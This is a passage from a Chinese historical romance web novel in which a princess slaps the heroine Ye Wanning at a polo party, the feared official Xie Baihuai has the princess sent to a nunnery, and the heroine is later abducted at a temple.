谢泊淮没说话,既然老头子太闲,他就给老头子找点事做。 主子不说话,青山只好默默跟上,结果主子带他到了妓院。 “谢……谢大人,您怎么来了?”万花楼的妈妈看到谢泊淮,并没有高兴的意思,每次谢泊淮来,总要把她这里的客人吓走。 “谢允恩在哪个房间?”谢泊淮直截了当地问。 “哎哟我的好大人,谢公子好久没来了,自从上回被您带走,再也没来过!”花妈妈笑哈哈地摇头,只是刚说完,就看到谢泊淮黑着脸扫过一个冷眼,吓得她一激灵。 “花妈妈,你这万花楼要是不想干了,可以直接说。”谢泊淮刚说完,花妈妈立马给他带路。 谢泊淮推开房门,他的好侄子左右各躺了一位姑娘,正在酣战呢。 他让青山绑了人,连说话的机会都不给谢允恩,直接光着身子拖到路上。 既然老爷子没事做,他找点事给老头子做。 谢允恩被绑得死死的,又开不了口,一路上被人看着,彻底丢了脸面。 等谢泊淮把人带到镇府司,书砚查得差不多,来回了话。 “把人给处理了,另外,这个事还有谁知道吗?”谢泊淮问。 书砚说不清楚,“这种事,实在无法保证只有老爷能查到。”顿了顿,他试着提醒,“三爷,今日是隆玉公主的马球会,听说叶大姑娘也去了的。” 第38章 撑腰 谢泊淮在京城树敌众多,很多事,皇上要维护一个仁君的名声,需要谢泊淮的狠辣。 不过他办事,不至于谁都能查到。 老头子毕竟和他住在一个府里,又是个老狐狸,多少有点本事。 正午已过,谢泊淮出了谢府,往马球场去。 他是京城里的大忙人,虽然这种帖子,次次都会送到谢泊淮手上,但谢泊淮并不会去。他出面了,代表要出事。 在他跳下马背,隆玉公主身边的内侍小德子看到后,微不可见地皱了眉,但很快笑盈盈地迎了过来。 “见过指挥使大人,什么风把您吹来了啊?”小德子心想这一位可不是好惹的,就算是公主,也得忌惮他,“公主殿下时常念叨您呢,奴才带您去见见她?” “不用。”谢泊淮走在前头,“你与我说说,今日都有谁来了?” 这是来查案了? 小德子暗道不好,如果坏了公主的雅兴,他们这些做奴才的都要被罚,“回大人,几位皇孙都来了,还有郡主们。除了这些贵主子,还有钱家、林家、……” 小德子记性好,来了什么人都能答上来,说完后小心翼翼地观察谢泊淮的脸色,见谢泊淮没特意提到什么人,等谢泊淮走后,赶忙去找了主子。 “你说谢泊淮来了?”隆玉公主年过三十,风韵犹存,边上坐了位倒酒的面首,他来了兴趣,“你可知道,他来做什么?抓人,还是杀人?” “回殿下,好像都不是,问奴才来了什么人,便让奴才退下了。”小德子道。 隆玉公主更有兴趣了,“你去盯着他,本宫倒要看看,他来马球会做什么。” 谁都不会相信,谢泊淮是来打马球的,若谢泊淮真上场,那就太稀奇了。 小德子退出去后,又有人来传话,说昭云郡主和人吵了起来。 “本宫这个侄女,还真是愚蠢至极,若不是出身在皇家,早就死一万次了。”隆玉公主办宴席想取乐快活,并不想看到有人惹事,“去警告下昭云,如果她不老实点,以后别再来本宫的地方。” “你等等,谁和她吵起来了?” “回殿下,是叶家的姑娘。” “叶家?”隆玉公主努力搜寻着记忆,都没想到是哪个叶家,直到边上的人提个醒,才知道是卖地给她的叶家,“倒是个运气不好的,惹上昭云,有她苦头吃。” 另一边,在叶婉宁看到昭云郡主和谢令仪一同过来时,叶婉宁就知道不好了。 昭云郡主见到叶家三姐妹,一眼就看到了叶婉宁,因为叶婉宁太漂亮了,就连见多识广的她,环肥燕瘦的美人都见过,但都比不上叶婉宁。 谢泊淮亲口和她说过,他的心上人比她美,比她性格好,她输给叶婉宁了吗? 昭云郡主是越看火气越大,叶家门第不比当年,她怎么会输给小官人家的女孩? 连借口都不找,昭云郡主直接让人打叶婉宁耳光。 这话一出,在场的人都惊住了。 大家都知道昭云郡主嚣张跋扈,但如此行事,还是让人瞠目结舌。 叶婉宁拉住要为她出头的二妹妹,转而问昭云郡主,她做错了什么? “你还好意思问,你光是站在这里,就错了!”想到谢泊淮可能早就看上叶婉宁,昭云郡主毫无理智,抬手对着叶婉宁打了一巴掌。 “啪!” 这下连谢令仪都呆住,她知道昭云郡主跋扈,没想到昭云郡主做事那么直接。 “郡主,我好歹是官宦人家的姑娘,您不由分说地动手,是不是该给个理由?”叶婉宁袖中的手紧紧拧在一起,“还是说,您打人不需要理由,您想动手就动手,反正您是高高在上的郡主?” “对,我想打你就打你,我是郡主,你是臣女,我想怎么打你都可以!你一个卑贱的狐狸精,怎么敢和我顶嘴?”昭云郡主全然不知,她这话一出,得罪了在场所有的官宦人家。 世家讲究脸面,他们立于京城,每家每户都根基深厚,就算叶家现在没人身居高位,但叶家在京城的人际关系,也是繁多复杂的。 钱夫人听到动静,和林氏刚过来便听到昭云郡主的话,林氏作为大嫂,即使性格再软,这会也护在叶婉宁身前,“郡主身份确实高贵,但我等也不是籍籍无名之人。您今日动手打人,就算我拼着这条性命不要,也要去问问王爷王妃,惠王府就是这般礼待臣下的?” 惠王有野心,拉拢了不少朝臣,这会很多大臣的女眷都在。有些还在观望的人家,见昭云郡主如此蛮横不讲理,都打消了追随惠王的念头。 叶婉宁知道昭云郡主无脑,故意说出那些话,把昭云郡主对她的恨意,转移到大家都对昭云郡主不满。看到惠王妃也来了,她不卑不亢地看着昭云郡主,“今日我无缘无故受此羞辱,让人看了笑话,我也不用活了,明儿拿根麻绳,吊死在惠王府门口好了。” “你还想让惠王府出丑?”昭云郡主抬手又想打,却听到她母妃的声音。 “你给我闭嘴!”惠王妃一个头两个大,好不容易哄好王爷,让女儿出门走走,结果又出这种事,“你又怎么了?” “回王妃,臣女实在不解,臣女哪里惹怒郡主和谢姑娘,竟让她们二话不说动手打人?”叶婉宁主动带上谢令仪。 果然,惠王妃看向谢令仪的眼神,恨不得杀了谢令仪。 昭云郡主是脑子不好,但关了一段时间,性子磨平一些了。不用多想,惠王妃便认为是谢令仪挑唆女儿惹事。 谢令仪这才反应过来,叶婉宁是故意点到她,其他人现在都把她和昭云郡主归为一类。她本来只是想教训下叶家三姐妹,并没有想和昭云郡主一样坏了名声。 还没等谢令仪想到怎么反击时,便看到惠王妃要吃人的眼神,顿时心里一咯噔。 “母妃,我……”看到母妃,昭云郡主才感到一些后悔。 “不要说话了!”惠王妃警告完女儿,再去看叶家人,“今日肯定有误会,昭云性格单纯,容易受人挑拨离间。我这个做母妃的,替她给你们道歉了。来人啊,回王府取上人参鹿茸等补品送到叶家,算是我的赔礼。” 惠王妃放低了姿态,一直保持微笑,当然了,并不是惧怕叶家闹事,而是那么多眼睛看着,她得挽回惠王府的形象。 林氏去看叶婉宁,惠王府到底位高权重,惠王妃已经道歉,他们再抓着不放,怕是会给叶家带来麻烦。但被打的是叶婉宁,松不松口,还得看叶婉宁的意思。 叶婉宁的目的已经达到,惠王妃记恨上谢令仪,又让众人都讨厌了昭云郡主。明面上做到这一步,已经够了。 就在叶婉宁准备开口说话时,听到一声轻哼。 众人寻声看去,竟然是谢泊淮来了。 “昭云郡主,您的侍卫当了逃兵,请您跟下官去镇府司走一趟。”本来这个事,谢泊淮压着没发,是知道皇上不想真的处置惠王府。毕竟昭云郡主名声彻底臭了,于皇家的脸面不好看。 谢泊淮一直都是听命于皇上,根据皇上的旨意办事,今日就算会让皇上不悦,他也要当众带走昭云郡主。 第39章 你也怕我? 寻常人去镇府司走一趟,不死也得脱成皮。虽说镇府司不会对昭云郡主用刑,但昭云郡主这种娇生惯养长大的姑娘,可没见过镇府司里的可怕。 见到谢泊淮,昭云郡主第一反应是质问谢泊淮看上叶婉宁什么,结果听到谢泊淮要带她去镇府司。 惠王妃瞬间皱了眉,“谢大人,你是不是误会了什么?” “镇府司办事,从不冤枉任何无辜的人。”谢泊淮清冷的嗓子一开口,所有人都在猜测昭云郡主做了什么。 若说昭云郡主刁蛮任性,蛮横不讲理,但有皇家的出身,都不会对昭云郡主有太大影响。 但和镇府司牵扯上,那就不一样了。 哪个进了镇府司的姑娘,名声还能好? 连叶婉宁也很惊讶,山贼的事过去许久,怎么谢泊淮这个时候提出来?她怕牵连到姜姒,转念一想,就算昭云郡主什么都说,有谢泊淮在,也传不出来。既然如此,谢泊淮为何又要带昭云郡主去镇府司? 叶婉宁没想明白,其他人也在想,惠王府到底怎么得罪谢泊淮了,让谢泊淮一次次给惠王府难堪? 惠王妃已经维持不住修养,“谢泊淮,昭云可是皇上的孙女!” “皇子犯法,与庶民同罪,还是说,王妃打算当众包庇郡主?”谢泊淮突然笑了,这下比他不笑的时候还可怕。 对上谢泊淮,惠王妃不是他的对手,但她也知道,不能让谢泊淮带走女儿。 “你要带人走,得拿出证据来,不然……” “我有没有证据,王妃心里难道不清楚吗?”谢泊淮拔高音量,打断了惠王妃的话。 惠王妃挡住谢泊淮,不肯让步。 闻讯而来的隆玉公主,看到这一幕,觉得很有意思,“昭云你又有什么了,连谢大人都不肯给你面子?” “姑母,我没做什么!”昭云郡主委屈极了,“我就是打了叶婉宁一巴掌,她一个小官之女,我打她怎么了?” “你给我住嘴!”惠王妃转身甩了女儿一耳光,“你还要胡闹到什么时候?” 从小到大,惠王妃第一次动手打昭云郡主,“母妃,您……您打我?” 隆玉公主笑着过来,“皇嫂别生气,昭云还小不懂事。谢大人,给本宫一个面子,有什么事,咱们到我营帐里说。” “不必去营帐了。但公主发话,下官不好扰了您的宴会,这就告辞了。”说着,谢泊淮顿了顿,“但是王妃,您是自个儿把昭云郡主送到镇府司,还是我带着人去惠王府报案,您自个儿选,下官就在马球场外等您。” 这架势,是不达目的不罢休了。 惠王妃快要气晕了,看谢泊淮这么走后,拽着昭云也走了。 临走前,停在谢令仪边上,压着嗓子道,“你也跟我来!”她动不了谢泊淮,谢令仪同样是谢家人! 谢令仪一颗心提到了嗓子眼,不想跟着走,却没看到大伯母的身影。 此时的谢大夫人并没出面,她乐意看二房的乐子,谢令仪什么都爱争,看着她女儿嫁入皇家,处处都想争一争。今日惠王妃吃了憋,肯定会要谢令仪好看。 不过叶家这位大姑娘真有意思,她可不觉得,谢泊淮只是心情不好,才当众让昭云郡主出丑。 谢大夫人的心思这么一过,等惠王妃带着谢令仪走后,才从人群后面出来,她打算套套叶婉宁的话时,隆玉公主比她先了一步。 隆玉公主从上到下打量完叶婉宁,夸道,“还真是个少见的大美人,这样的容貌,若本宫是个男人,也会心动。”她话里有话,“今日是本宫招待不周,让你受了委屈,本宫那里有上好的膏药,待会带些回去。” 叶婉宁硬着头皮道了谢,等隆玉公主走后,掌心出了一层汗。 她在这里待不下去了,看了大嫂一眼,大嫂立马明白,带着她和两个妹妹一起离开。 “昭云郡主太过分了,真想知道,谢大人带她去镇府司做什么?”离开人多的地方,叶婉玉愤愤道。 “婉玉,这里还不是家里。”叶婉宁提个醒。她心里想着昭云郡主的事,知道以后又多一个麻烦。 哎。 昭云郡主不是周钰,她有得宠的父王,想让昭云郡主不能翻身,还是很难的。 不过事已至此,只能兵来将挡了。 林氏看了眼叶婉宁,叹气道,“这都什么事啊,咱们只是来玩一玩,却要被人这样欺辱?”若是公爹在的时候,何至于此? “大嫂别为我难过,我没事的,此时最忐忑不安的,应该是谢令仪和惠王妃。”叶婉宁笑了笑。 叶婉华小声道,“惠王妃肯定不会放弃昭云郡主,谢姑娘要倒霉了。” 叶婉宁赞赏地看向三妹妹,没想到三妹妹心思不错,“确实,就算去镇府司,最后也是谢令仪去。” 说到镇府司,叶婉宁看到了站在马车边上的谢泊淮。 林氏喊了句谢大人,谢泊淮则是唤了句叶大姑娘。 叶婉宁迟疑一会,往前走了几步,规规矩矩地行了礼。 看叶婉宁一板一眼的动作,谢泊淮的黑眸流转着一些情绪,但很快被他压下,“你也怕我?” 第40章 记仇 罢了。 谢泊淮让叶婉宁先回去。 “谢大人,我……” “有人来了。”谢泊淮转身往出口去。 叶婉宁回到马车上,林氏问她谢泊淮说了什么,她摇摇头,“什么也没说。” “奇怪,这人倒是奇怪。”林氏拉着叶婉宁的手,叹气道,“今日委屈你了,昭云郡主太任性,要是你哥哥能再厉害点,咱们也不至于如此。” 林氏并不是对夫君不满意,相反,她觉得夫君非常勤恳努力了。是他们叶家没人提携,虽说旁亲多,但叶家这么些年里,并没有拔尖的人。 如果夫君身居高位,谁敢这样轻视他们? 光是想一想,林氏都快哭了。 叶婉宁的脸还有些疼,但这点疼痛,比上辈子的那些痛苦好多了,“大哥哥已经做得非常好了,大嫂嫂不用着急,以大哥哥的才干,总有出头的一日。” 林氏只当叶婉宁的话是宽慰,笑着说了好。 但叶婉宁是真心这样觉得,没了前世的麻烦,现在姜家对二哥哥有愧,必定会提携叶家。还有钱夫人那,也是一份人情。 现在的叶家,就差一个机会了。 回到家里后,叶婉宁让其他人不要和祖母说今日的事,“不是什么太重要的事,就别去影响祖母的静养。” 叶婉玉替姐姐抱不平,“可是大姐姐,你也太冤枉了。” “放心吧,不论是昭云郡主,还是谢令仪,她们都会为了今天的事付出代价。就看惠王府和谢家二房,谁更看重女儿了。” 有了谢泊淮的插手,惠王府总要给谢泊淮一个交代,惠王妃想把责任都推到谢令仪身上,那也要看谢家肯不肯。 谢家可不是简单人家,就算是惠王,也得给谢老爷子三分面子。 叶婉宁倒是挺期待后续的,据她所知,谢泊淮就没有过退缩的时候。 此时的惠王妃,已经从丫鬟那弄清楚来龙去脉了,“张嬷嬷,你先带郡主去隔壁的营帐,没有我的允许,不准郡主出来。” 到这会,谢令仪知道怕了,心里想着谢家怎么还不来人,她接下来该怎么办? 再去看谢令仪时,惠王妃的眼里充满了杀意,“谢二姑娘,你是故意的吧?” “臣……臣女不知王妃的意思。”谢令仪低着头,不敢去看惠王妃。 “砰!” 惠王妃手一挥,摔了桌上的茶盏,“你以为我和昭云一样心思简单吗?我不管谢泊淮看上了谁,但你明知道昭云对谢泊淮有意,偏偏到她跟前挑拨,害她今日当众出丑。谢泊淮要坏昭云名声,如今他在外边候着,所有人都等着看热闹,你说你是不是该死?” 听到这话,谢令仪慌张跪下,“冤枉啊,是郡主让人喊的臣女,并不是臣女主动挑拨啊。王妃娘娘,方才您也听了清楚,臣女只是如实回话。” “你是什么心思,别以为我不知道!”惠王妃清楚女儿的性格,也知道谢令仪在想什么,“我现在就一句话,谢泊淮要人,昭云是不可能去镇府司的,那谁去呢?” 谢令仪满头是汗,心想大伯母怎么还不来? 总不能让她去镇府司吧? 谢泊淮是她三叔,可谢泊淮最想看大房二房倒霉,她要是落到谢泊淮手里,肯定很惨。 况且去了镇府司,她的名声才是彻底坏了,往后能嫁到什么好人家? 到了这会,谢令仪听得很明白,惠王妃就是要她去给昭云郡主顶罪。 伸头一死,不伸更是死,倒不如硬气地拼一拼,“王妃娘娘,臣女三叔点名要的是昭云郡主去镇府司,就算您强迫臣女顶替,到了镇府司,臣女也是同样的话。” “好你个谢令仪,你以为你很厉害是不是?”惠王妃看谢令仪软硬不吃,大声道,“来人啊,给我掌嘴,看她这张臭嘴还能说出什么话来!” 为了自己的女儿,惠王妃并不关心谢令仪如何。 谢令仪瞳孔骤缩的,但她在惠王妃手里,丫鬟被死死按住,到现在还没看到大伯母来,她才醒悟,原来大伯母恨不得看她去死。 心底窜起恨意,谢令仪被狠狠打了几个耳光,直到这时,外边的人才进来传话,说谢大夫人要归家去,问问惠王妃有没有说完话。 “谢大夫人说,王妃您最是和善,并不担心您和谢二姑娘说话。不过人是她带出来的,若是带不回去,不好和家中交代,她先去马车里等着了。”丫鬟如实转述。 谢大夫人的意思很明确,惠王妃想怎么教训谢令仪都可以,反正她没看到,就当不知道。但人她要带回家,就算她再讨厌谢令仪,总归是谢家人,谢令仪不好,也会拖累谢家。 “去传本王妃的话,就说谢二姑娘今日回不去了。”惠王妃沉声道。 等谢大夫人听到这话,并不慌张,她是谢家未来的宗妇,该有的沉稳还是有的,“春来,快马加鞭回府上,就说马球场出大事了,惠王妃要让二姑娘给昭云郡主顶罪。” 吩咐完春来,谢大夫人让人带她去找谢泊淮,“三弟,今日的事,差不多可以了吧?” 谢泊淮看都没看谢大夫人一眼,“可不可以,不是大嫂说了算的,这是镇府司的事。” “看看三弟是真的讨厌昭云郡主,但令仪还在惠王妃手里,她要是出了什么事,咱们都无法和老爷子交代。”谢大夫人知道谢泊淮不在乎大房二房,只能搬出老爷子。 谢泊淮却是一声轻笑,“大嫂以为我会怕谢仲渊那个老东西?你还是别操心谢令仪了,还是多想想,待会回去后,怎么替谢允恩擦屁股。” 一听儿子出了事,谢大夫人淡定不了,“允恩怎么了?” “没怎么,他去花楼被我抓回谢家而已。” “三弟,你是不是太过分了?”谢大夫人快要端不住了。“咱们都姓谢,你以为坏了允恩和令仪的名声,对你就有好处?” 她已经没心思管谢令仪的事,只想快点回去处理儿子的事。若是这事被老爷子知道,老爷子真可能打断儿子的腿。 谢泊淮无所谓道,“大嫂觉得,我的名声再差一点,对我有什么坏处吗?” 是啊,谢泊淮在京城哪里有好名声,他哪里会在乎。 谢大夫人知道多说无用,冷哼一声,“你好自为之吧,你真要让惠王府不痛快,皇上也不会高兴的。没了皇上的庇护,你当不了这个指挥使,你知道多少人想看你死吗?” “这就不劳烦大嫂费心了,若是我要死,也一定拉上整个谢家。”谢泊淮笑了起来。 “疯子,你真是个疯子!”谢大夫人气冲冲离开,她等不到谢家来人了,急忙忙往谢府去。至于谢令仪如何,就让二房自己去捞。 等谢大夫人走后,谢泊淮没了耐心,“青山,你去和惠王妃说一声,既然她不愿意把人交出来,我先去惠王府等着了。至于谢令仪,她想顶罪都没用,今日我就是不高兴,不怕得罪她。” “啊?”青山愣住,他要是这样回话,不得被惠王妃打死? “再啊,我先送你去见阎王。”谢泊淮一眼看穿青山的心思,“记得原话不动地说,不然你就别回来了。” 青山:……他家主子,是真记仇啊! 第41章 逆子 谢泊淮是真带人去了惠王府,镇府司办事,还那么打眼,不由让人好奇,是不是惠王出了什么事,才惊动镇府司那么多人。 连惠王也被弄了个措手不及,一开始去找谢泊淮,谢泊淮只说等惠王妃回来就知道了。 等惠王妃回来后,惠王气到胸闷,对着昭云便是一耳光,“你个孽障,我不是说了,让你消停一点。你为什么屡次不听?” 昭云郡主脸颊瞬间有了个巴掌印,脑袋嗡嗡响,惠王妃看得心疼,“是他谢泊淮小心眼,今日本没什么大事,王爷怎么下这么重的手?” “你知不知道这孽障这么说,王府会得罪多少人?慈母多败儿,你再宠溺她,坏了我的好事,我就上折子休了你!”惠王是真的生气了,之前还想着管教昭云,这一次连管都不想管。 昭云郡主被打懵了,趴在母亲怀里哭,却没等来一句安慰。 惠王妃知道事情多严重,等惠王走后,才叹气,“你这次糊涂啊,谢泊淮非要处置你,我和你父王也保不住你了。” “可是母妃,我到底哪里错了?” 听女儿还不知道错,惠王妃彻底失望了,她不是只有女儿,她还有儿子要在意,还有整个王府以后的前程。如果王府被女儿牵连,她的荣华富贵也到头了。 在这一刻,惠王妃最后的疼爱之心也没了,她只想着如何妥善处理后续的事。 此时惠王见到了谢泊淮,“本王会把昭云送出京城清修,等她婚事说定后,再接她回来备嫁,保证她不会再来纠缠你。” “上一回,王爷就保证过了。”谢泊淮不吃这套。 “那你想怎么样?”惠王好歹是个王爷,被一个臣子拿捏威胁,心中实在愤怒。 谢泊淮没答,反问道,“不是下官要如何,而是王爷想以后如何?” 都是官场上的老狐狸,谁会不知道惠王的野心? 近来惠王倍感压力,若是谢泊淮再使绊子,惠王真要应付不过来。 谢泊淮不肯松口,惠王只能狠心道,“清修不行,送去尼姑庵苦修,这总可以了吧?”堂堂郡主被送到尼姑庵,说出去都要丢死人了,但他顾及不到那么多,一个女儿而已,再宠爱也只能放弃了。 “城外的静水庵僻静,就送那里去吧,让郡主好好学学规矩。下官恩怨分明,还请王爷记住今天说的话,别再让下官抓到把柄了。” 静水庵的日子,是出了名的清苦,时常会有世家送寡妇或者坏了名声的姑娘去,只要昭云在静水庵一天,惠王府的名声就难好起来。 但谢泊淮已经说了地方,惠王不想再纠缠,同意了谢泊淮的提议。 等惠王妃过来听到静水庵三个字,腿软差点摔倒,“王爷,怎么可以是静水庵?” “昭云不去,你想去?”惠王现在看惠王妃也不顺眼了,若是惠王妃好好教养女儿,也不至于有今天的事。 一听这话,惠王妃就知道她在王府的日子难了,她是主母,夫君的宠爱并不是最重要的。尊重才最重要。可惠王直接说出这种话,说明对她开始厌烦。 她不敢多说一句不好,默默地让人收拾东西。 而谢泊淮出惠王府时,谢令仪已经在马车上等着了,他停在马车边上,声音冷冷,“谢令仪,你的心思歪了,我给你两个选择,远远地嫁了,要么永远养在谢家的庄子里。” “三叔,我……” “或者你想死,我也可以帮你。”谢泊淮不想听谢令仪的任何一句解释,打断谢令仪的话,转身上了马。 马车里谢令仪再也忍不住,咬着牙哭了起来,她是谢家嫡女,就是当王妃都可以的家世。本来前途一片大好,会有能干夫君,过些年封个诰命,成为人人都羡慕的京城贵妇。 但是现在,不管是远嫁,还是去庄子里,都等于断了谢令仪的前程。 有谢泊淮的插手,给她找的人家,必定平凡没本事,说不定还要靠她嫁妆过日子。可在庄子里一辈子,她宁愿去死! 谢令仪哭着回了家,本想去找母亲和祖母帮忙说亲,结果发现正院热闹得很,她大堂哥跪在院子里,背上全是鞭痕,大伯母哭得上气不接下气。 一问之下,才知道是大堂哥去妓院,被三叔抓回来了。重点是,这一路上,大堂哥只穿了一条裤衩。 谢仲渊刚打完孙子出气,得知孙女又惹事,差点又晕过去。 惠王和惠王妃要送昭云郡主去静水庵,他们憋了一肚子气,自然不会让谢令仪好过,特意派了女官过来传话,“王爷说了,谢二姑娘品行不端,实在不配称之为大家闺秀,若是谢家不能好好管教,便和郡主一块送去静水庵。” 谢家人听到这话,震惊过后,看向谢令仪的目光,各有不同。 大房对此是没有意见,谢二夫人在病中没过来,谢二爷还在官府里没回来。 谢老爷子说不用让二房夫妇过来商量,得知小儿子给了提议,直接道,“云南的慕家是生意人家,令仪就嫁到慕家去吧。” “祖父,慕家是生意人家,于科举没有可能,孙女嫁过去,岂不是折辱了谢家门楣?”谢令仪不愿意。 谢泊淮冷笑道,“你今日得罪惠王府,就对谢家好了?既然你不愿意嫁到生意人家,换一户吧,清贫一点的人家,才适合你。” “祖父!”谢令仪跪在地上磕头,但在谢老爷子眼中,谢令仪已经是弃子,并不重要了,随便想了户人家,让人把谢令仪拖下去关着。 至于谢允恩,没跪多久便晕倒了,谢大夫人哭求请个大夫。到底是孙子,谢老爷子让人把谢允恩抬到祠堂去,再让人请大夫。 等这些人都走了,谢老爷子才看着谢泊淮,“现在你满意了?好好的一个家,被你折腾成这样,你就高兴了吗?” “父亲搞错了,是你如意了吗?”谢泊淮起身走到门口,高大的身影挡住大部分光,面对谢仲渊,他的脸是暗的,“如果不是你去查我,谢令仪就不知道我的事。我更不会撞见谢允恩在万花楼,我奉劝你一句,儿子不行,就别指望儿子了,趁着还能动,再生两个吧。” 特意顿了顿,谢泊淮讥讽道,“毕竟你啊,不是最爱强迫别人吗?” 放下这句话,谢泊淮头也不回地出了屋子。 谢老爷子连骂人的力气都没了,“逆子,真是个混蛋!”他气谢泊淮翅膀硬了不听话,更气老大老二没本事还糊涂。 他是越想越完蛋,真的晕了过去。 谢泊淮半点愧疚都没,今日的事不用几日便会人尽皆知,到时候流言揣测太可怕,他让书砚放出消息,“就说昭云郡主神志不清,才会胡乱打人。” “小的明白。”书砚心中感叹,主子真是用心良苦啊。 青山不敢在屋里待着,跟着书砚出了屋子,不解追问,“你不是说三爷对叶大姑娘有心,既然有心,干嘛不直接去提亲,反正老爷管不了三爷?” “我劝你少说话,最好把嘴巴封起来,若是这话被三爷听到,你等着去守边疆吧。”书砚对着青山直摇头,主子越是看重的人,越不想让对方到谢家这个泥潭来。他主子啊,是天底下最难得的好人。 书砚走了,青山问不出个答案,心里憋着难受,奈何想破脑袋都没个头绪,只能坐在台阶上皱眉苦想。 直到主子从屋里出来,他才跟上,“大人,我们现在去哪?” 谢泊淮看了青山一眼,青山立马捂住嘴。 糟糕,他忘记书砚的交代少说话了。看主子没说话,青山默默松了一口气,跟着主子到了一家胭脂铺子后院,他正奇怪主子翻墙来这里做什么时,看到了叶家二爷。 第42章 祈福 叶明岳看到后院里的谢泊淮,第一反应是藏好手中的账本,很快,他发现多此一举,嘿嘿笑着问谢泊淮怎么来了。 “今日马球场的事,你还没听说?”谢泊淮问。 叶明岳摇头。 “昭云郡主打了你大妹妹,惠王府吃了亏,这些日子,你机灵点。”这样的话,和叶明德说了没用,但叶明岳头脑灵活,谢泊淮马上要出京一趟,才来交代。 听到妹妹被打,叶明岳当即怒了,“她以为她是郡主,就可以为所欲为吗?真是太过分了,我要去告她!” 谢泊淮拦下叶明岳,“昭云郡主会被送去静水庵,我只是来提个醒,往后你们遇到惠王府的人绕着走。”不然容易吃亏。 叶明岳谢过谢泊淮,心里着急回家看妹妹,谢泊淮说要走,他也没挽留。 匆匆回了家,叶明岳看妹妹脸颊还红红的,心中越发记恨昭云郡主,“妹妹你放心,总有一日,咱们不用忌惮惠王。” “哥哥不必为我担心。”得知昭云郡主会被送到静水庵,叶婉宁知道这一世的发现,已经发生翻天覆地的变化,“昭云郡主有了报应,谢大人说得对,咱们家以后离惠王府远远的。” 如果她没记错,谢泊淮此次离开京城,是为了乌苏使臣的事。 “谢大人有心提醒,劳烦二哥哥帮我跑一趟,和谢大人说一声,也让他多注意身边人。”叶婉宁不好说太多,谢泊淮心思缜密,怕引起他的怀疑。 但她知道,这次出京,谢泊淮会被埋伏,虽然于性命无碍,但谢泊淮会办砸了这件事,被皇上责骂。这也是导致乌苏翻脸的原因,以至于后来皇上让谢泊淮领兵攻打乌苏。 叶明岳脑子没转过来,“这话你自己怎么不说?” “我是女子,多有不便,二哥哥别说是我的提醒,你不是与谢大人来往还不错,作为朋友,你给他提个醒也正常。”叶婉宁说她累了,要休息了。 叶明岳趁着天还没黑,派人和谢泊淮传了话。 往后几日,叶家人都没出门,直到昭云郡主被送走,眼看着叶明岳的婚期快到了,大家才渐渐淡忘马球场的事。 府上最忙的便是林氏和叶婉宁,姜家重规矩,大事小事都要林氏把关。叶婉宁则是带着两个妹妹学家务,妹妹们到了年岁,早就该学这些了。 叶婉玉没耐心,但被成姨娘逼着,看了会账本便怨声载道,“我的好姐姐,能不能让我休息一会儿,我是真累了。” 叶婉宁一眼看穿妹妹的小心思,“不行,你再偷懒,我去找成姨娘,让她来念叨你。” 成姨娘是奈何不了叶婉玉,但她可以烦死叶婉玉,没办法,叶婉玉只能硬着头皮学。 叶婉华则是娴静多了,坐下便没挪动过位置。 这样的日子,一直持续到八月份,离叶明岳婚期只剩下三日。 叶婉宁不担心二哥哥的婚事,只是在想,谢泊淮怎么还没回来? 上辈子,谢泊淮在前两日便回来了,带着乌苏使臣的尸首,被皇上罚站在大殿外,所有经过的人都会看到他。 已经两日过去,谢泊淮难道又出什么事了? 脑中冒出这个想法时,叶婉宁不由焦虑起来,故而大嫂提出去感业寺上香,她想着谢泊淮帮了她几次,打算去年级替谢泊淮祈福。 马车里,林氏笑着道,“待会我去给你们三求求姻缘,如今二弟的婚事有了着落,我和你们大哥哥最担心的便是你们三个。” 叶婉玉一心想着出门了,并不在意婚事,“大嫂嫂不用焦虑,该是我们的姻缘,合适的时机就会出现。不是我们的,强求不来。你就不用替我拜了,替大姐姐和三妹妹多求一会儿,把我的姻缘都分给她们。” “你是不想要,还是已经有了心上人?”叶婉宁问了句。 “大姐姐,我……我日日被你带着学管家,我能接触到什么人,你不清楚吗?”叶婉玉撇过头,叶婉宁却看到妹妹的耳垂红了,一看便知道被她猜中了。 少女怀春是正常,叶婉宁没有拆穿妹妹的小心思,默默搜寻记忆,猜测是哪家的公子。 马车停在感业寺后,有僧人带着她们进寺烧香,林氏拜佛十分虔诚,叶婉宁也替谢泊淮祈福。 叶婉玉最先离开大殿,由僧人带去禅房。 等叶婉宁出来时,便有僧人找来,“叶二姑娘让小僧来传个话,说她在竹林有事找大姑娘,不知哪位是大姑娘?” “我二妹妹有说什么事吗?”叶婉宁问。 僧人摇摇头,“二姑娘没说具体的。” 林氏猜道,“想来二妹妹遇到什么有意思的事了,你是知道她的,只要出了门,便要玩个高兴。不如婉宁你带着婉华一块去看看,我先回禅房等你们。” “确实是二妹妹的作风。”叶婉宁带着三妹妹一块跟着僧人走了。 林氏打发走小姑子们,是想自己再去拜拜送子观音,她不好和小姑子们说这个,但她确实盼着能再有个孩子。 只是等林氏拜完送子观音,却看到二妹妹一个人在禅房,“你大姐姐和三妹妹呢?” “她们不是和大嫂嫂在一起吗?”叶婉玉过来有一会儿了,她还在好奇,怎么今日大嫂嫂他们拜了那么久。 “不是你把她们喊去竹林?”林氏突然有个不好的预感,“我们从正雄宝殿出来,一个僧人来传话,说是你的意思?” 叶婉玉立马坐直了,慌张道,“从正雄宝殿出来后,我直接来了禅房,并没有去竹林,更没让僧人去喊大姐姐她们。” 对完这话,两个人都慌了,叶婉玉立马去找僧人,让大嫂描述僧人的模样,又亲自带着人去竹林。 根据林氏的描述,庙里僧人没有印象,林氏的心重重往下坠,若是妹妹们出个什么事,她怎么和夫君他们交代? 急忙忙跑去竹林,结果二妹妹哭着说没找到人,“大嫂嫂,现在该怎么办啊?大姐姐她们会不会被坏人抓走了?” 林氏同样心乱如麻,“你别哭,不然被人看到起疑心了。春杏,你现在立马让小厮他们去找人,不要声张,再去找大爷和二爷。王嬷嬷你去林家一趟,单独和我母亲说,今日这事怕是不简单,单是叶家可能解决不了。” 一顿吩咐下去,林氏和叶婉玉在竹林找了一遍,最终在竹林深处,发现叶婉宁被撕破的帕子,两人的眼泪瞬间滚落。 第43章 春药 此时的谢泊淮,正在奋力狂奔。 叶明岳和他说,让他也多注意身边人,给他提了个醒,在乌苏使臣到达驿站之前,提前把细作给引了出来。结果还是遇到了埋伏,青山带着使臣往另一个方向走,他则是假扮使臣逃往另一个方向,结果他的人全被杀了,他也被人洒了迷魂散。 腿下开始发软,他知道再不摆脱那些人,他落入对方手里会生不如死。 远处传来猎狗的声音,谢泊淮头都没回。 